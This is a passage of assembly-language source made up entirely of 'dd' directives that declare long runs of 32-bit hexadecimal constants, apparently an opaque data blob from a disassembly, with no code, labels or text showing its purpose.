		dd 0FA269DBAh, 0C8B899h, 1CE5BE61h, 32B540ECh, 4D41C82Ch
		dd 0D1D9700h, 3D2B722h
		dd 13F58F68h, 4CF8EB8Ah, 18390885h, 8D2A807Ch, 3979F78Ch
		dd 5B7A00A4h, 0EED27B31h, 6F00B387h, 8F978A86h,	1DAA8EBAh
		dd 822A2ED3h, 4AD25B5h,	61454840h, 29F29200h, 952BCEBh
		dd 0BED03B4Ch, 0F7793DCh, 3D1FF494h, 0F7C03127h, 95E64020h
		dd 15005ABFh, 0B8256A76h, 486F82Dh, 6CF7F50Ch, 840C8078h
		dd 0AC54859Eh, 4F00EDFCh, 0B8050328h, 0DD72Eh, 133E5D02h
		dd 0E248B2E8h, 3EFB71Fh, 0B960CC40h, 7E2A74h, 0B012EECFh
		dd 0FC6D75B8h, 891D3D00h, 8AB5446Bh, 0EC69EC8Dh, 0FAE50329h
		dd 0ACBCC3D0h, 55B763B8h, 0FD3B0278h, 0A42F0083h, 979599F9h
		dd 0E76A00DDh, 2BBC6124h, 1D00D6C4h, 0C01B8DD2h, 2DE54DD9h
		dd 665C58A9h, 4E29A700h, 0ABADB1h, 91A045BCh, 0CA7A6B53h
		dd 2ADC4A00h, 0DD8E27D2h, 987E31h, 1FF82168h, 0B7AD931Eh
		dd 3CC4330Eh, 0A43EAC6Fh, 8DDC1E23h, 1821C07Ah,	497C6BD9h
		dd 996709Dh, 48191B9Ah,	0FE641880h, 9900C304h, 39A5E4CBh
		dd 1F36DAh, 86E38A5Bh, 557D9EF1h, 0CC742D00h, 5678AAA5h
		dd 0C45A0753h, 6E5E37A7h, 3369BA0Fh, 0C0171187h, 20B5038Dh
		dd 0CFB9F305h, 0E7C025B2h, 0CBE6CCh, 71345EADh,	8DBBAAD0h
		dd 657FED07h, 7210DE8Ch, 0FA73146h, 1B94B81h, 585C6DA3h
		dd 6400307Ch, 0DF3E5575h, 902BB4F2h, 353D00C0h,	67B9AC4Eh
		dd 1E00FD54h, 5FFA3AB6h, 464C0AAh, 9B2FE690h, 0F17E8041h
		dd 0B5003C0Bh, 3F502973h, 635FE0h, 31107801h, 0E91FA8CDh
		dd 0A20FF00h, 9E9F599Ah, 8FBC1EC8h, 757A00B9h, 0C23A03EBh
		dd 7B021F03h, 0CFBDDC2Ch, 8E316450h, 0B76000EFh, 8F9FF9CBh
		dd 0AB018794h, 0F3F87499h, 3E4A2C9h, 0AAD7003Dh, 2A2C9526h
		dd 8C00B886h, 90CF5580h, 16FC3418h, 96C5F9h, 0E459D1B0h
		dd 0CA00FE3Dh, 0A58F9911h, 732CD33h, 0ED5F548Eh, 0AD2CF09Fh
		dd 0C15C02CEh, 4763FA5h, 1483BD5Eh, 646889C0h, 0C72C05A0h
		dd 18D3AC3h, 4386EAB4h,	933DE4BCh, 0DA215900h, 11587133h
		dd 73E0267Fh, 0C6250034h, 5BD112D4h, 2A8B7204h,	0E48401A9h
		dd 3CB00C80h, 50F0607Ch, 50A1C593h, 655ECE00h, 0DBEB38DAh
		dd 8D0E137Dh, 57BC0132h, 706C6129h, 33009A04h, 92FC459Eh
		dd 59B9C1h, 2577BAB2h, 0C7A39F51h, 99668800h, 78F2275Ah
		dd 3AAF1FA8h, 0DCB9C250h, 0B763C122h, 484506C0h, 3E946100h
		dd 66CC95D4h, 4D5F001Ah, 1BF80715h, 5300E1F6h, 67636EF2h
		dd 76540AF9h, 0C22F003Bh, 29BD88B6h, 153FB00Eh,	519200CAh
		dd 8FE034ADh, 3B7207BBh, 23099868h, 0F8010603h,	9F7F8165h
		dd 60CE0F48h, 3EB0E764h, 0C780D55Bh, 0FF14B4B3h, 0A8019D8Fh
		dd 5440B75Dh, 5470B641h, 8E903BF8h, 1B750480h, 0D7672922h
		dd 60638126h, 0F2796402h, 999320ADh, 0C528121Bh, 5300B088h
		dd 98654A25h, 0F5B74Bh,	3B9E7455h, 3C771ABCh, 87B8F23Fh
		dd 81BD3645h, 0CC71EEC1h, 77A79520h, 187000E1h,	0DB45380h
		dd 0AF006747h, 8958DA5Eh, 0D240DEh, 9D78DBF7h, 9C28A65Ah
		dd 51026300h, 6BB3DC4Bh, 0E1CA0058h, 0B50780B8h, 7A176CE0h
		dd 9112h, 0C836E5C5h, 0A7171C32h, 0A39BC0E3h, 2CD9F467h
		dd 5D6C7001h, 569C20A1h, 26BB2270h, 8054D837h, 0F67E7823h
		dd 1109C942h, 20AFADD9h, 3E6EA930h, 9CA00071h, 0A80D505Ch
		dd 98000F6Ch, 0F8EB83DBh, 666BF0h, 1679EAB6h, 7F9FE0F4h
		dd 3F4FA300h, 542A31ADh, 8ACC0423h, 84C23915h, 28B40214h
		dd 0B9072BEFh, 169FBBC0h, 5D943E33h, 0EC517E00h, 6DA588B2h
		dd 0D94170EBh, 0AB1B8400h, 0A9399F78h, 7CDEF2BBh, 704B03CCh
		dd 0DFE13AFEh, 0B1A04800h, 0E0B2D230h, 0A9A70594h, 8063AFD3h
		dd 0D98CB2Ch, 91594C00h, 256D048Bh, 0E2240BBDh,	4B0F8A33h
		dd 0F464BB40h, 0A5006FF6h, 659E3C09h, 0DD8242h,	73727D5Ah
		dd 0C4FAD870h, 1C88520Ah, 0CA03DD9Ah, 0A87F6802h, 0F2B517E6h
		dd 0A446074Fh, 60102D71h, 54FF068Bh, 0E35C7902h, 0E03529D7h
		dd 2C4C0AB7h, 0FACDFh, 0C7517D0h, 920173B3h, 3DAFA302h
		dd 0E0C009EFh, 470B0F9Ah, 2720B17Ah, 97D4A8C1h,	0DB24630Fh
		dd 0B61B6089h, 94BBBh, 6BC4AD08h, 688146D4h, 29A2AC00h
		dd 0B3565066h, 0E9E600C8h, 554178E2h, 1D0F5DFEh, 9023AEh
		dd 54C732C6h, 53BF00D7h, 0F799B986h, 79009D18h,	42411C92h
		dd 5AB5F3h, 78855990h, 0A0674E86h, 572EAE00h, 0ADBDE201h
		dd 427B88h, 2B59A4CBh, 875AD9E5h, 9F006A7Ch, 4DB6EBB4h
		dd 0DB1972h, 3B1B65E9h,	4B28272Dh, 688E7300h, 0ACB49D30h
		dd 104031Fh, 55440E40h,	4FC26BA8h, 0F83DDC0Fh, 0C4341C5h
		dd 0F6E45BB7h, 0DCD002Eh, 0A5B25FB5h, 190E68B0h, 0A009CB39h
		dd 0F284DD03h, 0D89601E1h, 6CA6137Bh, 0D475D8ECh, 121EBA00h
		dd 94F710B5h, 70C10009h, 911B1636h, 0F2003DE1h,	5F5A4945h
		dd 2E9DB9F1h, 8BEB84h, 51C94B73h, 10C6E878h, 0D0B019h
		dd 7638E706h, 9ED331B6h, 89404100h, 18C794E3h, 17680027h
		dd 0A86BD506h, 853FBF5Ch, 0C5A492FDh, 7FD85907h, 0B2F6D161h
		dd 38C1C8h, 513704C2h, 15A6226Bh, 9E26D4B8h, 9F00F6FFh
		dd 0AE56F8D7h, 0D2E0A094h, 0DDE60F0Dh, 0C5EED551h, 77ABEC27h
		dd 0C645D0D9h, 0AD618D6Fh, 6DC13E3Ch, 570DA1BEh, 0E0404E77h
		dd 4F0FEB58h, 474AC9BAh, 0E09068B8h, 0FB927Dh, 0D381331Dh
		dd 0DAE50DD4h, 0B38B5700h, 0C9229BA1h, 0F6B40046h, 9ED75E1Dh
		dd 4F1D3ACAh, 0EF18431Fh, 18F6BC69h, 20E89BE7h,	69074EDAh
		dd 0FD6E2E0Eh, 2DC5FCE0h, 4C1A50C1h, 4E520055h,	996D8CB3h
		dd 7237BEDBh, 0EA10EE9Dh, 3C9CA33Ah, 1A0153F0h,	38D375C0h
		dd 424F04Bh, 6300F4E8h,	2BE4BA58h, 36D5C92h, 1657307Ah
		dd 1CC05DD3h, 0F800EE3Ch, 0C62FF598h, 5B4753Eh,	0E7D7B812h
		dd 0D4BF8025h, 5B002CFCh, 0C2B93B24h, 0C5A691h,	0DEA5D9C6h
		dd 8A64203Ch, 0D7F6EF7Eh, 3D000B90h, 0A3D8808Eh, 750CBC5Ah
		dd 0E2430026h, 4776095h, 1B0768BEh, 208A3AADh, 32563890h
		dd 7FD400B9h, 0DEF31FC1h, 3C02CF88h, 0EDD8B209h, 6888A033h
		dd 906C1CBDh, 6F250041h, 0E819F2F4h, 81E8DA0Fh,	28984D30h
		dd 50E2F15Eh, 0F3CEC46h, 0CA0396A1h, 0E9B8DAC0h, 99006735h
		dd 958196Ch, 0FBB540Ch,	0BC39B2E4h, 0DCE515A0h,	783036EAh
		dd 3C8060E6h, 0C1BF00A4h, 272C3E21h, 6A24A7F3h,	7780185Ch
		dd 0C80F3761h, 5BB0FA9Ch, 0C607A45Fh, 7F0F2473h, 807753E6h
		dd 0E8962EE4h, 5738DF28h, 5D6000EFh, 7C3D22C4h,	3B545C3Bh
		dd 0C9AE8020h, 53F11202h, 9FD90318h, 0E9D8EF0Dh, 79A358D3h
		dd 7246ACFh, 132B914h, 30CE3C48h, 0A200111Eh, 5DB665E6h
		dd 2322CFh, 0DD066F6Ch,	363CB934h, 74A74607h, 8F79AF8Fh
		dd 2CD180C7h, 0B8B1E5h,	2BE8431Bh, 49B2FD13h, 0AFCDE601h
		dd 58A6D450h, 0E712D5h,	2D920F29h, 61F99113h, 0D7C7F60Fh
		dd 3558E0DFh, 0F2672CDh, 0A205571Eh, 9F2E0BE0h,	77BACEAh
		dd 130DE93Ch, 0CD004AD8h, 0F5F80F38h, 0D0E50F99h, 0C2405D25h
		dd 0A5E6CEEAh, 6E763917h, 0F7C8C600h, 0B2FA2DDh, 1F507E03h
		dd 9DF22783h, 0C840F9D2h, 0E73882E4h, 0C892034Eh, 0CF71C6FFh
		dd 0D08AA800h, 0FEA60003h, 3C705931h, 2F00650Ch, 8D1F8169h
		dd 0E0CCADE3h, 9C300C6h, 0D156BAC8h, 3002390h, 247959ECh
		dd 0A7D95h, 2A41D066h, 0B06D494h, 18A9AD30h, 12F24BFh
		dd 61FFF177h, 0ECB2A138h
		dd 7600C09Eh, 13B0402h,	28EC4FEDh, 0C42DA7h, 5209E051h
		dd 33EE2285h, 1BF54503h, 0C7A4E7B0h, 2B8D5D30h,	0F46E00B8h
		dd 0B5930C7Dh, 4627B928h, 0ED324077h, 10D21F87h, 8BDD8241h
		dd 0D3E0133Dh, 0E1090BA9h, 0DF3BB7h, 0A82A5C0Eh, 0FBA00156h
		dd 5B4F7948h, 0C78DD037h, 26132800h, 8C800A04h,	1E0F629Eh
		dd 8BC0B119h, 6F008415h, 813F3A40h, 0DA7450h, 541C4D11h
		dd 96F7AA8Dh, 0CB7D4400h, 9A20F92Bh, 612009Fh, 0D696F42h
		dd 0F53096D0h, 5566F039h, 0FBFD0003h, 5C9D36C3h, 0B80ED13Ah
		dd 800B0A3Bh, 2515EEF6h, 0BFAE00A1h, 9CD3D2B3h,	34008C8Dh
		dd 13377C68h, 228E04Ch,	7A67C673h, 14435446h, 0E533F0AFh
		dd 552A05DEh, 0F501A89Ch, 0ED47D046h, 0AC5001F0h, 266E910h
		dd 0C147E0Dh, 5E41B242h, 6A95E8C4h, 0AB81F30Fh,	49602007h
		dd 0D0E313h, 0A70345A1h, 0B9F8BDEBh, 0FF038698h, 57C7264Eh
		dd 0E54AC0B7h, 3D6C0078h, 0C58F31D1h, 0AF00D2A8h, 2877E07h
		dd 0E73436h, 59BDBCE3h,	0B86E9C8Fh, 0C0475D18h,	78CA53Ah
		dd 13646C90h, 88EEC097h, 207862BCh, 0E700A9E0h,	648A0879h
		dd 0C49D69h, 4DA7B73h, 450133EFh, 0ADBC2F2Eh, 9E5D7D01h
		dd 0D8800D87h, 0ACC03CC9h, 28C0D40Bh, 50CD7F22h, 0A136006Dh
		dd 531B7751h, 3400F555h, 11D1FB3Ch, 0EE90992h, 677DCD69h
		dd 0C1BA29E4h, 0D8104718h, 0B4007389h, 56A16124h, 5C8A71h
		dd 9FD43705h, 9C7967Fh,	74F45700h, 52238EB7h, 0ED200EDh
		dd 0C853E735h, 40387E51h, 0B244002Ch, 4D3CE4A1h, 21D23A63h
		dd 84F2DA80h, 3A90BB5Dh, 0AFAC020Ch, 22427943h,	750FDB21h
		dd 2C3422h, 0B0726681h,	78A40307h, 0B8EB9F67h, 983EB000h
		dd 0FE5F008h, 0A7F700FDh, 6E69E613h, 5400AD9Ch,	23CF83C3h
		dd 947EAFEh, 0A4F81DC5h, 0E13CAC00h, 400E3718h,	0A0CEB236h
		dd 817E35BBh, 26CD0458h, 0C7459325h, 0A0A5901Dh, 8300F95Ch
		dd 76AC55AAh, 1F2EEB62h, 40604405h, 4D583ADEh, 2D038836h
		dd 0ECAEA7DBh, 1ADDC81Fh, 0C90C8h, 37752CB9h, 90A3EE6Bh
		dd 0F9D0D400h, 0E1C91CCEh, 7649024h, 0D7A44231h, 0FE1D20ECh
		dd 30008457h, 7EDA23CCh, 7BA49FAh, 0F082EDD3h, 0DCC01EB0h
		dd 0F76BAD78h, 1C00AEE8h, 3F59919Dh, 3ACC28h, 7EB246BBh
		dd 0C4035811h, 0C1B0DC00h, 0D6AB2D31h, 0CAE0759h, 80926B86h
		dd 0FD68A2D2h, 0F6015620h, 22DA007Dh, 61D59BCCh, 6892875Dh
		dd 0C0A7A400h, 764F7814h, 7955E6FEh, 0EAF42ECEh, 0C01C1D1Ch
		dd 98BE026Ch, 4802FF74h, 710593F9h, 95040D3h, 7A9B0225h
		dd 0AF84573h, 644FD848h, 0AED09Fh, 514FE11h, 25D6DCB3h
		dd 2888A00Eh, 1C409D58h, 8F012D32h, 33535CA2h, 4CE44500h
		dd 0DCCF91B3h, 880C2E78h, 596F935Bh, 4492000Ch,	0AB9C251Ah
		dd 60701510h, 69271E00h, 329F33Fh, 133A00A4h, 0B2628CCDh
		dd 540064A9h, 0F00D588Bh, 3E5365h, 0EA9B7C51h, 0C63756AFh
		dd 0A5B5A801h, 0AE09790Ch, 6090F052h, 26A6164Ch, 98F37h
		dd 0BFBE05D9h, 682CDB08h, 59017969h, 57D5DD54h,	98306831h
		dd 671A0029h, 8422668Ch, 0F05ECF2h, 6B4F652Eh, 88829800h
		dd 6AEA65Fh, 0E173EFA9h, 6DB01805h, 90F53407h, 4050256Ah
		dd 0B7E84h, 2EBC3067h, 1138B951h, 8F95300h, 0C8E66196h
		dd 5E4A004Ch, 0C9C46A16h, 0D9017EBFh, 50C65A15h, 0A06E5F91h
		dd 0F30006FDh, 0A65ED352h, 574EEAh, 0FC308F0h, 2719903Ch
		dd 0A038A30Fh, 0EDE3A023h, 1F4EB4BAh, 17D49C73h, 80404FDCh
		dd 0C3330CC0h, 0D2E2BA87h, 7E79F900h, 3132DA91h, 0DE983B6Fh
		dd 68B20A83h, 3EB8A87Dh, 8E00FD24h, 0BE0B944Dh,	0DA516Ch
		dd 0C50E54E3h, 14EAE095h, 94BD5804h, 5CC08521h,	39E87D7h
		dd 34595CEEh, 8109F47Fh, 8F8D314Fh, 79386114h, 0DA474154h
		dd 63D0EF47h, 0C3BDEDB6h, 0D91B3A21h, 0AFB13900h, 3F5CF16Ch
		dd 2E9A006Dh, 397DD12Ch, 7072E0E4h, 71E008E6h, 62347C00h
		dd 23F7DA9Eh, 42581E5Dh, 41305780h, 489C0FC0h, 0C048ACB5h
		dd 0FDE407BEh, 75C0BDB7h, 0EF30ECh, 0F28F725Eh,	8591F4E1h
		dd 4900F87Ah, 7B7DCC35h, 0EAB98876h, 8FE00029h,	0FFB2E69Eh
		dd 23001BBDh, 2A132E56h, 0EB89BBh, 0F6382937h, 8FBDDB9Fh
		dd 4409500h, 651826CFh,	23DD005Ch, 73E0CA33h, 74000302h
		dd 4AFDED61h, 786C4468h, 0B9C7007Bh, 0E130D092h, 91CD97Ch
		dd 50FCB35h, 4C325D2h, 0C5BF043Bh, 800BC01h, 0DD1F4D5Eh
		dd 0E89707E3h, 0F05D90DEh, 6755049Ch, 19610230h, 448D1A87h
		dd 6040B69Eh, 0D5BA31BBh, 83C86C48h, 1269E361h,	3C20402Ah
		dd 0B44258F9h, 0D1D3CB00h, 8A583B93h, 7C325901h, 0D55E7282h
		dd 14C7EF0h, 0C7B9BCC5h, 0E07A337Dh, 0E0F3EC8Ah, 9800E6EEh
		dd 0E1A394C3h, 0DFDBC63Bh, 8CD20060h, 21D76176h, 568B970Ah
		dd 0DA024067h, 0C0ADA387h, 0A18554h, 20D21B5Eh,	76E38A2Dh
		dd 0B4597B00h, 0E2063C02h, 0ECC30DE0h, 0F0B8FDD2h, 171F14E6h
		dd 0E3EEDB19h, 57447F00h, 75C7BDB6h, 117E33E7h,	0F8C68869h
		dd 9294E111h, 8CE60674h, 40F90E89h, 18D1D230h, 38A328ADh
		dd 0F39F8582h, 6F6800C1h, 4C48D606h, 0E6E2FC00h, 0C4F0397h
		dd 7D107CB4h, 0F64403FBh, 6345E13Fh, 0ACA0C2CAh, 0A2E476E0h
		dd 0E819B32Ah, 2366100h, 15575289h, 0A86D72A3h,	1867A4CCh
		dd 0C0B3A1BCh, 0AD307D81h, 0C2080F7h, 0E355020Dh, 0F2B78948h
		dd 9E69880h, 0E0E8471Bh, 4D4324AEh, 30159122h, 709051D9h
		dd 707F0700h, 0DDFC1C83h, 73CF00CAh, 0E52080Ah,	250E19C8h
		dd 8F21C920h, 85826FA8h, 931FFC86h, 77E8406h, 1B310048h
		dd 26335AF7h, 9900C6F4h, 4FE0A011h, 3D983B07h, 2B87550Eh
		dd 0C5E89131h, 58B011B5h, 489B25C4h, 0C4924185h, 589C4007h
		dd 600A3F46h, 80B387DBh, 0FA4474A8h, 0B25A12A2h, 0F1682019h
		dd 921E3587h, 2300C20Bh, 0A5EA2E4Ah, 0BAE200CDh, 379F620Fh
		dd 0E01FD98Ch, 7B03A6D7h, 0ACAEB352h, 0A2595890h, 84C3309Eh
		dd 3B0661A8h, 815CB748h, 0F49BD514h, 0E152E1EBh, 0D4157422h
		dd 9051B055h, 1D11F41Eh, 0F9C203AAh, 9CC1CBBh, 573BE320h
		dd 320EEC10h, 96F5C201h, 0C4632B6Ch, 0FC0AE094h, 0F6E1DA00h
		dd 8A682F81h, 91A17B05h, 34316CF8h, 800C9BA9h, 93E2FA01h
		dd 0E4146CFDh, 1CC28AAh, 0F9895829h, 50F55D7Dh,	550AEC0h
		dd 0BA0DCE00h, 43EB57F2h, 7F530064h, 713084D0h,	0D1498BBDh
		dd 7A370E6Ch, 0A62B4094h, 3C7E15h, 575AF4F0h, 0C5011BEh
		dd 88E0F868h, 4A434C01h, 9FFCFD94h, 7D0A1321h, 525033A3h
		dd 80C2088Ch, 3DAF280h,	57150D81h, 7CC4108Fh, 0A0005C7Ch
		dd 30CBF370h, 0D0F275h,	55F8F420h, 0E49B5FACh, 6EE0CF0Fh
		dd 84419DB1h, 90C81948h, 5280A0CEh, 240DBD50h, 80204266h
		dd 0CC622B61h, 7C94D17Dh, 488FE27h, 96EB47FCh, 880C48E4h
		dd 0B965825Fh, 2B6A0CB0h, 1F282FE6h, 1F71E284h,	0F4888A7h
		dd 7200C43h, 12F0E327h,	410F53FEh, 8CEDF701h, 0B41933h
		dd 3970EBE1h, 7A66638Fh, 42A6F900h, 27DF2AFCh, 7BD10015h
		dd 0BA3FAF5h, 0B90283D8h, 57F66B5Dh, 3520A1A0h,	1F0D18Fh
		dd 0F54D00A6h, 7610DF2h, 53078812h, 668C1BCFh, 9D80A1F4h
		dd 953ABFh, 286ED429h, 726F75AAh, 0B76DC600h, 0B9DFE690h
		dd 579F0EE1h, 0C0A06782h, 0D519A42Eh, 1D1E30C1h, 7DF6CE5h
		dd 0F3234C18h, 75335057h
		dd 300EB318h, 0C9CB99B5h, 0B310031h, 0CED8255h,	24985AA0h
		dd 3075F1F8h, 293FAF19h, 70809210h, 0E2A1495Ch,	611D9D75h
		dd 0B114F6B0h, 5DAD2785h, 5CF22F80h, 2901BEC1h,	413FC7F8h
		dd 0E8F00439h, 38560471h, 0C45324B4h, 75B03005h, 6405C0B7h
		dd 0EEF7D166h, 177B808h, 5672F8A2h, 53E2ECE8h, 0E66CD57Eh
		dd 0F075A890h, 0EF2504ACh, 0FE5A0D3h, 0ADC1010Eh, 0B0406EBCh
		dd 4870EC84h, 0BA07FCF1h, 9CA2ED98h, 0D128F041h, 9707BCEAh
		dd 1BCEDE41h, 0BE80F490h, 27630625h, 18EAFA05h,	915D1100h
		dd 55E6FB02h, 22E13AAEh, 663F0A7Ah, 38CA3B9h, 0F57549C0h
		dd 10755E83h, 41D0D26Fh, 0C8963FEAh, 1CB829A0h,	0F237605Eh
		dd 0C720EC30h, 52E68Eh,	0D8A95C44h, 74F79368h, 0DC6FB101h
		dd 0A751A8D3h, 3ED095D1h, 31EC00B2h, 0B76E701Ch, 0DF58E58Ch
		dd 0F59C00A2h, 0CE810DF3h, 6F26007Ah, 0A2C031CFh, 10098B0h
		dd 4A29EB4Eh, 3A0026Dh,	0F0B9396Bh, 4798EDE9h, 212A89E1h
		dd 920ED0CAh, 0C9536652h, 0D1680051h, 1273EB6Ch, 33F2B18h
		dd 2A2F0324h, 75C224F8h, 21ACC603h, 7C1CB268h, 6B3D0941h
		dd 3C2A59D0h, 0D544BE34h, 0C1476A19h, 4BE21D11h, 44A9E28Ch
		dd 0A8F88468h, 78F597A0h, 5EA401DFh, 0EDA8AD49h, 0A32080EBh
		dd 0EC1E0142h, 0E03C4984h, 56285232h, 10C15102h, 51D47735h
		dd 2EEA0C3Ch, 1229B18Dh, 19DAC65h, 8C17B0ACh, 80209145h
		dd 0A4E5064h, 8434C99h,	4C281159h, 714601E4h, 0E9D38C12h
		dd 19923DF1h, 84FC440Eh, 4F38C05Bh, 170181D0h, 58F4F3D1h
		dd 0A1DC0BA4h, 276400CFh, 811CF84Dh, 88A4A53Ah,	9C75D105h
		dd 0C9C042A4h, 386C5EA3h, 0CE3FF7CAh, 0A2632F00h, 66670822h
		dd 0E7133Dh, 5C57B211h,	0A058A67Bh, 123B5FE4h, 1FB35EAFh
		dd 25934234h, 0AC440972h, 73204001h, 605499B0h,	0C3036833h
		dd 0AAB914CFh, 0A448748Ah, 0D700A360h, 42EFB3BEh, 481D67E1h
		dd 231E6841h, 0E93CC2F9h, 24668C2Dh, 6D805EE8h,	24274918h
		dd 326E0275h, 0D1736B2Ah, 600E686Ch, 0C16CE2FDh, 421BAFBAh
		dd 5097E454h, 0E4418248h, 0A1436E01h, 304C1FC5h, 0E5A519F1h
		dd 7F3BA89Ah, 0A13B0F74h, 0F88F8012h, 0A9EDA6DFh, 8450EA5Ch
		dd 1DA9AF55h, 80BFEB5Dh, 273AE878h, 0AD4905DFh,	0A71313C0h
		dd 0E2F73C40h, 61F16B0h, 5FAA55F2h, 7800A95Bh, 0E041AF49h
		dd 0A8AC2EBDh, 30E9056Ch, 63B18E51h, 29019EE0h,	2AD26D31h
		dd 0BC496AF8h, 0A13DD4h, 0D76833EAh, 0BB7D4455h, 80D4171Dh
		dd 0E0186F15h, 24BCFCh,	8B235472h, 0F8C3BF70h, 0E7182E1Ch
		dd 0A497A54Ah, 0D15189h, 0FAD3045h, 2E70006Ch, 29934E63h
		dd 55007338h, 0AB826FBCh, 1B727F41h, 0E95DCADAh, 0EE9A2E83h
		dd 3B9BA860h, 0B39040ABh, 0BF00387Bh, 4578422Eh, 0C04C0736h
		dd 18C2E339h, 0C754D81Dh, 3630A38Ch, 7BE9C854h,	951A0778h
		dd 492B6F25h, 831C502Fh, 0FA3DECE2h, 0FCCFC098h, 0F9A4E750h
		dd 0D56DF301h, 2B4B4017h, 0B5A47D8h, 0E05DC0BFh, 4914A601h
		dd 0AD703456h, 1891F2F2h, 0CE3BB000h, 0FF18E9E5h, 0B275EC50h
		dd 10191E5Dh, 0BCBE00E0h, 24A6DA79h, 0F1EADF00h, 3D599B25h
		dd 0A45C1590h, 293FA4B3h, 30B04EA8h, 25387410h,	827ADA78h
		dd 5BFBE200h, 0D106A2E1h, 59D0A152h, 43FB084Ch,	5C2500E4h
		dd 48FFE3BCh, 43200E1h,	0EE7357B1h, 60001847h, 0B081ABBAh
		dd 142AD16Fh, 2888553Dh, 285D1580h, 0AF255678h,	24AAF429h
		dd 0BD923A70h, 9B800714h, 2B430063h, 0EB00E652h, 5A5C767Ah
		dd 0A8EF4E3Dh, 3297A890h, 6195DCFh, 1985FC61h, 652016F6h
		dd 220B339h, 1AA9EA1Dh,	0F4A8D4C0h, 0C250C0A4h,	590128E8h
		dd 5834BCBFh, 5080262Ah, 27827A9h, 452E4181h, 5C048874h
		dd 480A6E0h, 24B83DF8h,	8028DC4Ch, 0A0E150DAh, 300BFB5Eh
		dd 43DCDD5h, 1AB6E34h, 0A9AAF454h, 0F86030DAh, 0AC18E8B0h
		dd 90D8594Ch, 49EF609Eh, 201C115Dh, 0F4F294A8h,	38AD6Eh
		dd 0AC77F794h, 0EF6B002Eh, 41C05D75h, 6A54D108h, 268CFE08h
		dd 13B8B901h, 0C48144Eh, 23A7EE03h, 3F9817A6h, 9B53EDB8h
		dd 0CC64C244h, 9AD4CEF3h, 6E2507C8h, 0B0F8D562h, 99F2736Ah
		dd 0EE408C0Ah, 0CB19C803h, 6E082938h, 0C33790FAh, 0A0C16158h
		dd 34214FA3h, 9B9D008h,	905775B1h, 0D019C830h, 4EF4E414h
		dd 0CAC51E0h, 0B0AD56CCh, 97A448BCh, 0AD210405h, 0F897A402h
		dd 0F1B0A0EDh, 3638BDFh, 0E1B38260h, 12D2EC3Ah,	181C0899h
		dd 0EF5512B1h, 0B07C156Dh, 0EBE22900h, 75BD815Bh, 0E609F490h
		dd 67321A8h, 0A0A07B5Ch, 9807938h, 61060555h, 387EFC00h
		dd 592648C0h, 8CE24C4Bh, 835A00B9h, 7A80589Eh, 30E8B209h
		dd 6031B51Ch, 0E600E1F6h, 0A199154Eh, 0D225E0h,	11EE75F9h
		dd 0AB2C1016h, 0EB402A09h, 0FB5080F1h, 4C24AC2Fh, 5C00B436h
		dd 5BBBD13Eh, 0D6073983h, 0D43DF0AEh, 0E95FC3B0h, 49B49030h
		dd 90DEB01Bh, 5B040D3Ch, 0D466A0A3h, 13849524h,	44C414EEh
		dd 6E166F09h, 0DA18E08Dh, 2C977304h, 0EEB2C1F0h, 80145D60h
		dd 124F8100h, 900A1128h, 0AB41A218h, 2F7718h, 99B8DC38h
		dd 2CBBB375h, 0D6A43C14h, 59360094h, 6B5A51C2h,	0AD91C052h
		dd 0D1EEA43Dh, 0E937ED0Fh, 2DF8A3EBh, 0C98D92Ah, 0AC6389Eh
		dd 50C05A42h, 110FD0CCh, 5753528h, 4CC04832h, 0B6374Bh
		dd 4C5466D9h, 311E27A0h, 124910B0h, 73DC15A0h, 3E521418h
		dd 20FCB230h, 34CD2960h, 0B412C092h, 0CC0072B6h, 0E9A0C226h
		dd 3001016Eh, 6271A8E7h, 3DD88359h, 9075D3D7h, 48C960E2h
		dd 7306A0B7h, 787B6D2Fh, 796F3F0Ah, 3D070CB2h, 48C9AF0Fh
		dd 6E02414h, 0A2A8AC30h, 310010C2h, 0B22C8B6Fh,	9C44EFh
		dd 0DBEE32BDh, 0BF23A05Ah, 2F00B4B8h, 6ADAA3ADh, 1C515C28h
		dd 1E573F42h, 0BBE147F2h, 0F0CBC155h, 59E88182h, 0B006BC7Fh
		dd 7776D851h, 0DC290840h, 0E8122C1Ch, 81224EE4h, 0A8C0C493h
		dd 67143FB2h, 0FCB028h,	23619975h, 0B92D2EE9h, 73E500E8h
		dd 5E9E2859h, 0E7CB6604h, 2CD0A758h, 3948DCBAh,	4980F1D6h
		dd 131D0ADAh, 0E059647h, 7F5D4467h, 7C1BBA80h, 17859829h
		dd 0C6E1E7h, 2099EC48h,	114A359Ch, 61DBB440h, 9AAC771h
		dd 82752C3Dh, 0B5F35C80h, 6D03A523h, 5D9DE0D9h,	0EB181E52h
		dd 530A0A87h, 2DE50048h, 59969556h, 0DEF5811Dh,	91D212C1h
		dd 423127A3h, 6CF7DE8h,	533522D1h, 0FA033989h, 0A275B820h
		dd 7DCEF866h, 22ED000Fh, 723F1112h, 0A1041906h,	6425926Bh
		dd 749950E4h, 0CB1F1CE8h, 51ABC01Bh, 2C67F67Bh,	0B66EC60Bh
		dd 0A1C086D7h, 0B7580519h, 0D1F4A7AAh, 0E26EEC28h, 5140AD22h
		dd 2F43006Ch, 5DB49430h, 0C19C9D00h, 0C8D60213h, 317618h
		dd 92A0FFDDh, 0D53B0BA1h, 170F7AF8h, 80FCBEEFh,	973A9C4Bh
		dd 18D76240h, 7B00C657h, 963FBBh, 4D353DF1h, 150CBAEEh
		dd 3C93A600h, 328E798Dh, 3629C79Bh, 124B0061h, 16EEDED0h
		dd 0DD082866h, 0DAD90021h, 0C7F06EFFh, 30004299h, 942747C1h
		dd 3C9216h, 0F8CD2040h,	3A9D11DDh, 0BE018618h, 0DB7B80h
		dd 466B584Bh, 3E16396Eh, 303AF63Ah, 6F7E21C9h, 4559005Ah
		dd 0BC7971A9h, 391D342Ch, 4C403C91h, 0BEC5C928h, 0DDA800C7h
		dd 5160F338h, 40584910h, 736B0009h, 0F8633247h,	0AAFB0158h
		dd 89C403CDh, 0A7A6D8D5h, 31A44800h, 7D2A4A69h,	7A500008h
		dd 545D21F1h, 0CF0EEDE0h
		dd 0AE28DCA7h, 0E71AA0ECh, 0F403B10h, 0D7627B68h, 0BA7E7061h
		dd 9EE939Dh, 80E2F900h,	0B01C1B51h, 1DAE04E2h, 0C0A96453h
		dd 248607D5h, 8A8BC701h, 21FEEEF7h, 0A77B088Dh,	22F1F820h
		dd 0BD10A618h, 1A96710h, 20582C61h, 0F8AE2FEEh,	7E2C80E7h
		dd 8C00AA35h, 2206A5C9h, 426907E2h, 0C09A3BB2h,	0EB6B8D53h
		dd 0C01F80C8h, 8BC522F0h, 98C9DA21h, 0DB3E2116h, 0D7BB221Fh
